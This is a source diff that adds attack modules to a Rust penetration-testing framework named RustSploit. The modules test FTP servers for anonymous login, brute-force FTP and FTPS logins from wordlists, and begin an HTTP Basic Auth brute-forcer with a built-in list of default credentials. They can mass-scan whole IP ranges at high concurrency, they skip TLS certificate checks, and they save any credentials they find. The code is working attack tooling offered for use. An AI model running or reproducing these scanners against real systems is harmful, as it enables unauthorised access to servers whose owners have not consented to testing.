||||
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode conditions (also handles CIDR subnets concurrently)
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FTP Anonymous",
|
||||
default_port: 21,
|
||||
state_file: "ftp_hose_state.log",
|
||||
default_output: "ftp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
|ip: IpAddr, port: u16| async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Plain FTP anonymous login
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
match timeout(
|
||||
Duration::from_millis(5000),
|
||||
AsyncFtpStream::connect(&addr_str),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if ftp.login("anonymous", "anonymous").await.is_ok() {
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
let msg = format!("{}:{}:anonymous:anonymous", ip, port);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {}", msg).green().bold()
|
||||
);
|
||||
let _ = ftp.quit().await;
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Connecting to FTP service on {}...", addr).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// 1. Try plain FTP first
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
match timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
AsyncFtpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(mut ftp)) => {
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
|
||||
);
|
||||
}
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
match ftp.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len())
|
||||
.dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] ... and {} more entries",
|
||||
entries.len() - 20
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Server response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] SSL required response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] Timeout after {}s connecting to {}",
|
||||
DEFAULT_TIMEOUT_SECS, addr
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Fallback to FTPS
|
||||
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
let _ = crate::cred_store::store_credential(
|
||||
domain,
|
||||
21,
|
||||
"ftp",
|
||||
"anonymous",
|
||||
"anonymous@",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/ftp_anonymous",
|
||||
)
|
||||
.await;
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
net::IpAddr,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_port, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no, cfg_prompt_output_file, load_lines, load_lines_uncapped, file_size,
|
||||
STREAMING_THRESHOLD,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
parse_combo_mode, load_credential_file,
|
||||
run_bruteforce_streaming, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Brute Force".to_string(),
|
||||
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// FTP error classification for retry decisions.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
TlsRequired,
|
||||
ConnectionLimitExceeded,
|
||||
ConnectionFailed,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect")
|
||||
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|
||||
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
|
||||
{
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|
||||
|| msg_lower.contains("ssl connection required")
|
||||
|| msg.contains("220 TLS go first")
|
||||
|| msg_lower.contains("must use tls")
|
||||
{
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
if msg.contains("421") || msg_lower.contains("too many")
|
||||
|| msg_lower.contains("connection limit")
|
||||
{
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
if msg_lower.contains("connection refused")
|
||||
|| msg_lower.contains("no route to host")
|
||||
|| msg_lower.contains("network unreachable")
|
||||
|| msg_lower.contains("connection reset")
|
||||
{
|
||||
return Self::ConnectionFailed;
|
||||
}
|
||||
Self::Unknown
|
||||
}
|
||||
|
||||
fn is_retryable(self) -> bool {
|
||||
matches!(self, Self::ConnectionFailed | Self::Unknown)
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
crate::mprintln!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port for display.
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = std::sync::Arc::new(users);
|
||||
let pass_lines = std::sync::Arc::new(pass_lines);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "FTP Bruteforce",
|
||||
default_port: 21,
|
||||
state_file: "ftp_brute_hose_state.log",
|
||||
default_output: "ftp_brute_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let pass_lines = pass_lines.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
for user in users.iter() {
|
||||
for pass in pass_lines.iter() {
|
||||
match try_ftp_login(&addr_str, &ip.to_string(), user, pass, false).await {
|
||||
Ok(true) => {
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ftp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
|
||||
|
||||
let passes = if file_size(&passwords_file) > STREAMING_THRESHOLD {
|
||||
crate::mprintln!("{}", "[*] Large password file — will stream in batches".cyan());
|
||||
Vec::new()
|
||||
} else {
|
||||
let p = load_lines_uncapped(&passwords_file)?;
|
||||
if p.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", p.len()).cyan());
|
||||
p
|
||||
};
|
||||
|
||||
let extra_combos = if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
load_credential_file(&cred_path)?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
let combo_mode = parse_combo_mode(&combo_input);
|
||||
let passwords_file_ref = passwords_file.clone();
|
||||
|
||||
// Capture verbose in the closure for try_ftp_login
|
||||
let target_owned = target.to_string();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addr = format_addr(&t, p);
|
||||
let verbose_flag = verbose;
|
||||
async move {
|
||||
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let et = FtpErrorType::classify_error(&e.to_string());
|
||||
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
|
||||
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
|
||||
|
||||
let result = run_bruteforce_streaming(&BruteforceConfig {
|
||||
target: target_owned,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "ftp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/ftp_credcheck",
|
||||
}, users, Some(&passwords_file_ref), passes, combo_mode, extra_combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(path) = save_path {
|
||||
result.save_to_file(&path)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try FTP login with FTPS fallback when TLS is required.
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt plain FTP
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => return Ok(false),
|
||||
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Err(anyhow!("Connection limit exceeded (421)"));
|
||||
}
|
||||
_ => return Err(anyhow!("FTP login error: {}", msg)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Timeout")),
|
||||
}
|
||||
|
||||
// FTPS fallback
|
||||
if verbose {
|
||||
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
|
||||
}
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = if target.starts_with('[') {
|
||||
target.trim_start_matches('[').split(']').next().unwrap_or(target)
|
||||
} else {
|
||||
target.split(':').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
if let Err(e) = ftp_tls.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,512 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_HTTP_PORT: u16 = 80;
|
||||
const DEFAULT_HTTPS_PORT: u16 = 443;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("root", "toor"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("manager", "manager"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "HTTP Basic Auth Brute Force".to_string(),
|
||||
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
|
||||
Supports HTTPS with invalid certificate acceptance, default credential testing, \
|
||||
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum HttpErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl HttpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct HttpError {
|
||||
error_type: HttpErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for HttpError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for HttpError {}
|
||||
|
||||
impl HttpError {
|
||||
fn from_string(msg: String) -> Self {
|
||||
let error_type = HttpErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP-Basic",
|
||||
